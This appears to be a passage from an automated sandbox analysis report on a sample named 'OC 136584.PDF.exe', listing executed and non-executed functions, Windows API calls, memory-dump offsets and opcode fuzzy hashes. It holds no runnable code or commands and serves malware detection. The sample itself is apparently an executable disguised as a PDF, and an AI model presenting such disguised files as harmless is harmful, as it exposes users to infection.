Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 953c3a1597b42b1da46bff2775c55698d6f9e0df73fafd2c4998f4f1924f60a9
Instruction ID: e4958075062779c175cfd4dc9385716354e36a12e5b014fd18723373ac5bc13b
Opcode Fuzzy Hash: 953c3a1597b42b1da46bff2775c55698d6f9e0df73fafd2c4998f4f1924f60a9
Instruction Fuzzy Hash: A81100B59003488FCB10DF99D888BDEBBF4EB48324F14855AE519A7600C379AA44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC01C, Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06AAC7E5

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f872a00d15723ff6a1f2355397ce16fc3faec64108e096aa353783296bdc8250
Instruction ID: 642afce4d56a259101ae479601037b881f30cc1b9fd830fae869e80427c4ff15
Opcode Fuzzy Hash: f872a00d15723ff6a1f2355397ce16fc3faec64108e096aa353783296bdc8250
Instruction Fuzzy Hash: 051112B59043488FDB50DF99C488BDEBBF4EB48324F14845AE51AB7700D3B9A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06AAD558, Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 06AAD5B5

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 876b1b3d2757fa99020c813c900d1431ca8f28c866faf42f7a0141b40298dd66
Instruction ID: 35c4d459d3db21986780e546810ae2cbd907c5d7f7c48a0fd0959836e7ec2305
Opcode Fuzzy Hash: 876b1b3d2757fa99020c813c900d1431ca8f28c866faf42f7a0141b40298dd66
Instruction Fuzzy Hash: 4411E5B58003499FDB10DF99C888BDEBBF8FB49324F10841AE554A7700C375A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06AA2E8A, Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

F, xrefs: 06AA2FC2

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: ec511e9206bf28af311493d55d7f4bd6e8ce70caf7a0bc4f15806610d913aa90
Instruction ID: 372c9826cfe651bc707536537be973908418ff0cda5ab0da9669842345a7b2f6
Opcode Fuzzy Hash: ec511e9206bf28af311493d55d7f4bd6e8ce70caf7a0bc4f15806610d913aa90
Instruction Fuzzy Hash: B44134B1E016589BEB5CCF6BCD4078EFAF3AFC9200F14C1BA850CAB215EB7509858E15

Uniqueness

Uniqueness Score: -1.00%

Function 06AA2E98, Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

F, xrefs: 06AA2FC2

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: 85003b0776a236ae187aeaefe76b8688f63e42159de5958742db770d229c9c85
Instruction ID: edd4bdce6e346911a4623dc529848f1fa0d48b5d7ae268b9cf823e037a32bfc5
Opcode Fuzzy Hash: 85003b0776a236ae187aeaefe76b8688f63e42159de5958742db770d229c9c85
Instruction Fuzzy Hash: B44133B1E016588BEB5CCF678D4078EFAF3AFC9200F04C1BA850DAB215DB7109858E15

Uniqueness

Uniqueness Score: -1.00%

Function 00149526, Relevance: 1.2, Instructions: 1217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.260673740.0000000000142000.00000002.00020000.sdmp, Offset: 00140000, based on PE: true

Associated: 00000000.00000002.260657380.0000000000140000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bcd0b364bafd4d595458272cd6a392d5571e42fbb7f042550d275d4851e0629
Instruction ID: c69a5eddde26927977a2bcd55e555791b5b579010297055bce836ba52540c126
Opcode Fuzzy Hash: 2bcd0b364bafd4d595458272cd6a392d5571e42fbb7f042550d275d4851e0629
Instruction Fuzzy Hash: D592566240EBC15FCB075B782DB12D17FB29D6722830E49C7C4C08F5A3E4196A9BE762

Uniqueness

Uniqueness Score: -1.00%

Function 06AA0D90, Relevance: .9, Instructions: 887COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6da58587bce95b0e7dbec34ef7d809f68446bff01e4f7b82d6e25e0304408091
Instruction ID: 999043abbb3e47b350318e263770c28d0adfdd0ea3272cfef0c98a4c1394c97e
Opcode Fuzzy Hash: 6da58587bce95b0e7dbec34ef7d809f68446bff01e4f7b82d6e25e0304408091
Instruction Fuzzy Hash: AA824B30A04209EFDB94DF68C584AAEBBF2FF49314F15856AE445DB2A1D734ED41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AAE5A0, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22e94c019a1aa110a5b34243d7c436d16360f86d157f662e63a5ee6a1bd4ff6f
Instruction ID: f2a2a3a7121213248a41b7d7966892df82e608c289b3a6b8957e142efd98794a
Opcode Fuzzy Hash: 22e94c019a1aa110a5b34243d7c436d16360f86d157f662e63a5ee6a1bd4ff6f
Instruction Fuzzy Hash: 2B1272F1412B8A8AD310CF65EDD85893FA1B74932CB90C329D2616EAF1D7BC155ACF48

Uniqueness

Uniqueness Score: -1.00%

Function 00AAC0D4, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce24043f73db150f56ba2d2d44790034aabcc8c83d57a1ccef2cc27407c2cdfa
Instruction ID: 5bc27993a42eaf7047649c2084e7224818ecbc1281a9a29fca010b0ba068244a
Opcode Fuzzy Hash: ce24043f73db150f56ba2d2d44790034aabcc8c83d57a1ccef2cc27407c2cdfa
Instruction Fuzzy Hash: E0A16232E00619CFCF15DFB5C9445DEBBB2FF8A300B15816AE916AB261EB35E945CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00AAE591, Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ef8b4ad3557f6fd303a3ac15930fe6dc8e6ed76787cb3371e3a9f5f8ce970e9
Instruction ID: 2361e3cb130eb2e3465428b916f19f047ba0f1f2749e24e56374aa821c11cb1c
Opcode Fuzzy Hash: 9ef8b4ad3557f6fd303a3ac15930fe6dc8e6ed76787cb3371e3a9f5f8ce970e9
Instruction Fuzzy Hash: 2FC1C9F1812B898AD710CF65ECC85897FA1BB8932CB51C329D2616F6E1D7BC154ACF48

Uniqueness

Uniqueness Score: -1.00%

Function 06AA693D, Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941d28a26072a7c268b41cd7990edc8e1547293221249b69809933058b127063
Instruction ID: 16b2056f9f4dd80252bb5a44f97a1ee93f382aed7f055c93528c89889e0131f5
Opcode Fuzzy Hash: 941d28a26072a7c268b41cd7990edc8e1547293221249b69809933058b127063
Instruction Fuzzy Hash: 1CA19CB0E046288BDB64DF69C980BCDFBF5EF88304F1081DAD159A6206E7359E95CF49

Uniqueness

Uniqueness Score: -1.00%

Function 06AA2C39, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a863b80c31a58e62950474c74824eae685dc708f7148c8506ada36f5d1d2478
Instruction ID: 5f3b936f479525beb22d572b394a3d0defda1492970cf9e66acdcb22e89cbeff
Opcode Fuzzy Hash: 9a863b80c31a58e62950474c74824eae685dc708f7148c8506ada36f5d1d2478
Instruction Fuzzy Hash: 29513C75E042098FD744EF79E844A9E7BF2EBD8314F04C529D1049B368EB796A0B8B91

Uniqueness

Uniqueness Score: -1.00%

Function 06AA2C48, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc017f6359b6dea15665951fb38a92bc3f04daf299324701b397affcca642cf
Instruction ID: 2a1576bfdba3109c9baee0b91f41ab5723fff08caac6b283fd530fcaa6a83cfe
Opcode Fuzzy Hash: cfc017f6359b6dea15665951fb38a92bc3f04daf299324701b397affcca642cf
Instruction Fuzzy Hash: 87511B74E042098FD744EF79E444A9E7BF2EBD8314F04C529D1049B368EB796A0B8B91

Uniqueness

Uniqueness Score: -1.00%

Function 06AAD9C8, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a31dd83572b08c117c3a075d6aa2fb1cba47d50dc6412fade8f16c529269eb2
Instruction ID: d93b6bfa1eb7fb6ba29ef1c61bc007d031de8a0c64539ca14ef34e58bb9f0ada
Opcode Fuzzy Hash: 4a31dd83572b08c117c3a075d6aa2fb1cba47d50dc6412fade8f16c529269eb2
Instruction Fuzzy Hash: 0E21C970D457298BEB68DF6AC80479EBAF3AFC5304F04C1BA84196B654EB740A859F41

Uniqueness

Uniqueness Score: -1.00%

Function 06AAD9B8, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23929e7347a1550dba4d4a23633464a4efe1cf456aad7b3f2b81cb32a6c43344
Instruction ID: 89f06d0669a5a0cd8b971ded337e50426b9f46cba21690fe3dab965ea8008100
Opcode Fuzzy Hash: 23929e7347a1550dba4d4a23633464a4efe1cf456aad7b3f2b81cb32a6c43344
Instruction Fuzzy Hash: 1B21C971E046188BEB28DF57CD043DEBAF3AFC5304F04C1AAC8496B654D7740A858E41

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: OC 136584.PDF.exe PID: 7124 Parent PID: 6736 OC 136584.PDF.exeCOMMON

Executed Functions

Function 00E83250, Relevance: 3.2, Strings: 2, Instructions: 750COMMON

Download Yara Rule

Strings

t&w, xrefs: 00E8328A
t&w, xrefs: 00E836E5

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID: t&w$t&w
API String ID: 0-1851485932
Opcode ID: 24dade195ac443aebc3771239d780e5faa6e7929e8dbc5869e199aae0afbd346
Instruction ID: 6946fa8ee55e11890d74ddc47a3225d543cb76e2118401f361c39617fabf223e
Opcode Fuzzy Hash: 24dade195ac443aebc3771239d780e5faa6e7929e8dbc5869e199aae0afbd346
Instruction Fuzzy Hash: 7D622830A002148FDB14EB74D8987ADB7F2EF88311F1485A9E50AEB755EF34AD868F51

Uniqueness

Uniqueness Score: -1.00%

Function 00E8324F, Relevance: 3.2, Strings: 2, Instructions: 732COMMON

Download Yara Rule

Strings

t&w, xrefs: 00E8328A
t&w, xrefs: 00E836E5

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID: t&w$t&w
API String ID: 0-1851485932
Opcode ID: bf3c7fc0bfd2ea3f31e2158b6ef99fedeecec691f7267e8f0e8756f00ad76049
Instruction ID: b19843afff62a8f17000a73c67aff16176749ea45b61dba8c40b0dfadae59ed7
Opcode Fuzzy Hash: bf3c7fc0bfd2ea3f31e2158b6ef99fedeecec691f7267e8f0e8756f00ad76049
Instruction Fuzzy Hash: 8A623830A002148FDB14EB74D8987ADB7F2EF88311F1485A9E50AAB755EF34AD868F51

Uniqueness

Uniqueness Score: -1.00%

Function 00E86C07, Relevance: 2.8, Instructions: 2759COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8888cc8dc75f5db3f92e9f01b62015dc3ed0aeae0c7db4005bf9c71f46ae1c
Instruction ID: 36d839292934732c70a5c556c528c2c916cfcc01c31d5bed60589ef38559551c
Opcode Fuzzy Hash: 0d8888cc8dc75f5db3f92e9f01b62015dc3ed0aeae0c7db4005bf9c71f46ae1c
Instruction Fuzzy Hash: 1153D930D10A198ECB11EF68C8846A9F7B1FF99314F55D69AE44C77221EB70AAC5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00E0E220, Relevance: 2.7, APIs: 1, Instructions: 1240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e2976bf67e2e1871a05fbda19c75a4811476926de2734d0e4887d07f37e2153
Instruction ID: 91cbe36727f49012e9b540d6cfd3bb2dbfdae62a90e8a14e8e9679610da1344a
Opcode Fuzzy Hash: 1e2976bf67e2e1871a05fbda19c75a4811476926de2734d0e4887d07f37e2153
Instruction Fuzzy Hash: 36B25B30E042198FDB24EB78D85479DB7F2AF89304F1489AAD509EB7A1EF309D85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 007E20C0, Relevance: 1.8, APIs: 1, Instructions: 263libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 007E21F1

Memory Dump Source

Source File: 00000006.00000002.499965468.00000000007E0000.00000040.00000001.sdmp, Offset: 007E0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 814eabf59a899fb20d00a7f92b32244641f5cdc3084c55a5e4e09516055f2006
Instruction ID: 351357a5e6198755b77a62559a4111ca0215eb8604d798327c49c6637dba99f8
Opcode Fuzzy Hash: 814eabf59a899fb20d00a7f92b32244641f5cdc3084c55a5e4e09516055f2006
Instruction Fuzzy Hash: 1EA1C030A09384DFDB159BB5D8587AE7BF6AF89304F1484A9E405DB296EF789C06CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00E8B728, Relevance: .5, Instructions: 491COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db35216903fcfba3b96f7c0f7045f31d89d13bbbc382c6e82616055343c9ec4a
Instruction ID: 35ef786c77c388056cd84f1a031f4a4c0d63e4bac08eae3c19c5375ca7bea833
Opcode Fuzzy Hash: db35216903fcfba3b96f7c0f7045f31d89d13bbbc382c6e82616055343c9ec4a
Instruction Fuzzy Hash: 1B02A170F002189FDB14EB68C844BAEB7E6AFC8314F15856AE419EB391DF35EC418B91

Uniqueness

Uniqueness Score: -1.00%

Function 00E821B0, Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad2b02344df40150a212cd700fb5a43734b482e25c7338dc7afdf4e04459a90e
Instruction ID: c05fac680feba0a23bcde4bcb2cc04f30180ba0a6cad1dc41778a1d760232ab4
Opcode Fuzzy Hash: ad2b02344df40150a212cd700fb5a43734b482e25c7338dc7afdf4e04459a90e
Instruction Fuzzy Hash: 24D1CE30B402145FDB28EB748859B6EB6E3AFC8714F18846DE50AEB385EF749D028791

Uniqueness

Uniqueness Score: -1.00%

Function 00E00A66, Relevance: 7.0, APIs: 4, Instructions: 964libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(00E02303), ref: 00E00A66
KiUserExceptionDispatcher.NTDLL ref: 00E00BBF
KiUserExceptionDispatcher.NTDLL ref: 00E00C49
LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 201bbb379bb92896534e10bad8fb818921372797028c1c07987c0d65d0d7273e
Instruction ID: 5fbf0146ad4ff5248118991122e4411b98bcae03fe54812efed236ac0c53efdc
Opcode Fuzzy Hash: 201bbb379bb92896534e10bad8fb818921372797028c1c07987c0d65d0d7273e
Instruction Fuzzy Hash: 53A2F474A04228CFCB64DB30D99879DB7B2BB89306F2041EAD909A7350DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00BB6B50, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00BB6BB0
GetCurrentThread.KERNEL32 ref: 00BB6BED
GetCurrentProcess.KERNEL32 ref: 00BB6C2A
GetCurrentThreadId.KERNEL32 ref: 00BB6C83

Memory Dump Source

Source File: 00000006.00000002.500568394.0000000000BB0000.00000040.00000001.sdmp, Offset: 00BB0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: ce9048217911c32c2359e2dfc6a97d80ec3c5cf2252a9b939c39de2b9b0c6b30
Instruction ID: 51c16631d8dbce79dcd522a603fc260f8d13bd2a9d146aa8fcd73cef1ff6042d
Opcode Fuzzy Hash: ce9048217911c32c2359e2dfc6a97d80ec3c5cf2252a9b939c39de2b9b0c6b30
Instruction Fuzzy Hash: 165146B09002499FDB14CFA9CA48BEEBBF1FF49314F248069E459A7350D7B46984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00E00A87, Relevance: 5.1, APIs: 3, Instructions: 637libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E00BBF
KiUserExceptionDispatcher.NTDLL ref: 00E00C49
LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: d9bc7bfe4592ab6d7e29f4dddb16a84cdcabcd9af3f0c35411c6931e670d967f
Instruction ID: d9b8594512adae5b108d3d8d3fe42c1f9f16649302e7c78a105f3ec6f047912f
Opcode Fuzzy Hash: d9bc7bfe4592ab6d7e29f4dddb16a84cdcabcd9af3f0c35411c6931e670d967f
Instruction Fuzzy Hash: 6162F574A04228CFCB259B34D99879DB7B6BF89306F2081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00ACC, Relevance: 5.1, APIs: 3, Instructions: 630libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E00BBF
KiUserExceptionDispatcher.NTDLL ref: 00E00C49
LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: e03595e31c9338f09f851074313b612d6f734b0104ca83aaaa92534ef8662c7d
Instruction ID: 46bc4a8fc066d5dc286ddc2b5dab2d8248a58dceb09630aab731cc8cbc662db6
Opcode Fuzzy Hash: e03595e31c9338f09f851074313b612d6f734b0104ca83aaaa92534ef8662c7d
Instruction Fuzzy Hash: 4D52F574A04228CFCB259B34D99879DB7B6BF89306F2081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00B11, Relevance: 5.1, APIs: 3, Instructions: 623libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E00BBF
KiUserExceptionDispatcher.NTDLL ref: 00E00C49
LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 0cca013f9d98b61eb5d5e97984b67c59f8abab32f9da7dcf524d7c875adfa681
Instruction ID: 7119accd586e6065d00060dae5bb81c9ddd2a3a3c39b8aa94aeed471d6efbad5
Opcode Fuzzy Hash: 0cca013f9d98b61eb5d5e97984b67c59f8abab32f9da7dcf524d7c875adfa681
Instruction Fuzzy Hash: 1352F574A04228CFCB259B34D99879DB7B6BF89306F2081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00B56, Relevance: 5.1, APIs: 3, Instructions: 616libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E00BBF
KiUserExceptionDispatcher.NTDLL ref: 00E00C49
LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 0e9dfdaf14726b883cc36e7925692184f2de9e263bbf6180c40776d83e4c89d5
Instruction ID: 2afd43ebde34aeca5ec97881a98cff9ca81660f5983bb5abcbfe24c759a630b6
Opcode Fuzzy Hash: 0e9dfdaf14726b883cc36e7925692184f2de9e263bbf6180c40776d83e4c89d5
Instruction Fuzzy Hash: FA52F574A04228CFCB249B34D99879DB7B6BF89306F2081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00B9B, Relevance: 5.1, APIs: 3, Instructions: 609libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E00BBF
KiUserExceptionDispatcher.NTDLL ref: 00E00C49
LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 62cb7d12445ff46e92c27b2e911983f159dc3f29975e8498a2bc2e0f37b0ba12
Instruction ID: 27d9381aa92580dd422ce7a27f5e12cc0dc828882ee916c78b8f2d751d907b61
Opcode Fuzzy Hash: 62cb7d12445ff46e92c27b2e911983f159dc3f29975e8498a2bc2e0f37b0ba12
Instruction Fuzzy Hash: E052F574A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00BE0, Relevance: 3.6, APIs: 2, Instructions: 602libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E00C49
LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: c05465f62fd7893475da789c3e1ab703f5863a2d13b32544ab4d78c612d94840
Instruction ID: 8df9589f04837bae0fb51fef41a73d6f5bdea3bd4a211ec5f4b2be5c3d855463
Opcode Fuzzy Hash: c05465f62fd7893475da789c3e1ab703f5863a2d13b32544ab4d78c612d94840
Instruction Fuzzy Hash: D852E574A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00C25, Relevance: 3.6, APIs: 2, Instructions: 595libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E00C49
LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 0535b48befddcd3b18196559f59414b4d684e098c88c9fac1a79df61e8ae47f2
Instruction ID: ddb59892441d6e024459217773096bc91d6ac5ab726a573a98383c50d8e26c82
Opcode Fuzzy Hash: 0535b48befddcd3b18196559f59414b4d684e098c88c9fac1a79df61e8ae47f2
Instruction Fuzzy Hash: 0B52F574A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E86484, Relevance: 2.7, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

9, xrefs: 00E86640
!g, xrefs: 00E866DE

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID: !g$9
API String ID: 0-2631872750
Opcode ID: 7c18d0e94d9d897af8637ac026b88694272b0b9d411bd708e66ea589818f4d0b
Instruction ID: 344eb9ac0ad30b47e1e63047abf2ec46b6969c7a62f3514e187cdcc08ee3c701
Opcode Fuzzy Hash: 7c18d0e94d9d897af8637ac026b88694272b0b9d411bd708e66ea589818f4d0b
Instruction Fuzzy Hash: 4571A530B002448BDB14EB69C64479DBBE2AF85308F24D1AAD50DEF3A5EB76CD46C791

Uniqueness

Uniqueness Score: -1.00%

Function 00E8FCAC, Relevance: 2.6, Strings: 2, Instructions: 59COMMON

Download Yara Rule

Strings

|, xrefs: 00E8FCFF
3w, xrefs: 00E8FCAC

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID: 3w$|
API String ID: 0-977218103
Opcode ID: 454141e268938cef7ee6c4aabc9a038a0b3e189d33b228c918aba08ec6b1e568
Instruction ID: a362e392e2870db64dd9620a5f13ce4d1eeb635d521860ae1f5d84fce34d766f
Opcode Fuzzy Hash: 454141e268938cef7ee6c4aabc9a038a0b3e189d33b228c918aba08ec6b1e568
Instruction Fuzzy Hash: EF112B70F002249FDB54AB78D905BAD77F1AF4C740F108469EA1EEB3A0EB7999019B94

Uniqueness

Uniqueness Score: -1.00%

Function 00E00C80, Relevance: 2.1, APIs: 1, Instructions: 584libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 987cb248db2e209e49f80d07d83bfdf23748f5bbc793734f9e98ad7b9c8ef083
Instruction ID: 98b8ba2c062ab4fd278b3e95ea12b0a1871c9822ffe33cacf214ca47d653c130
Opcode Fuzzy Hash: 987cb248db2e209e49f80d07d83bfdf23748f5bbc793734f9e98ad7b9c8ef083
Instruction Fuzzy Hash: 8552F674A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00CC5, Relevance: 2.1, APIs: 1, Instructions: 577libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 303915b62571d1816f894409a8ff1a2321d05a0a319f7ad8190fba3c33e12b8f
Instruction ID: 93c75ae8fdac6e4cfae39bab0f6f7c49b8df6ede333e4583f9bdb7af42c3226e
Opcode Fuzzy Hash: 303915b62571d1816f894409a8ff1a2321d05a0a319f7ad8190fba3c33e12b8f
Instruction Fuzzy Hash: 3C42F674A04228CFCB249B34D99879DB7B6BF89306F6081EAD509A7340DF359E86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E00D0A, Relevance: 2.1, APIs: 1, Instructions: 570libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00E014C3

Memory Dump Source

Source File: 00000006.00000002.503223367.0000000000E00000.00000040.00000001.sdmp, Offset: 00E00000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d4a0bcf94bd6bf403a8a5b3bbf683dadbbe79d12ab53f2ceafd2a46287f1f14b
Instruction ID: 75081777b277f863792a45b25389ac82d88a3b284be868440f403d95cffaa17a
Opcode Fuzzy Hash: d4a0bcf94bd6bf403a8a5b3bbf683dadbbe79d12ab53f2ceafd2a46287f1f14b
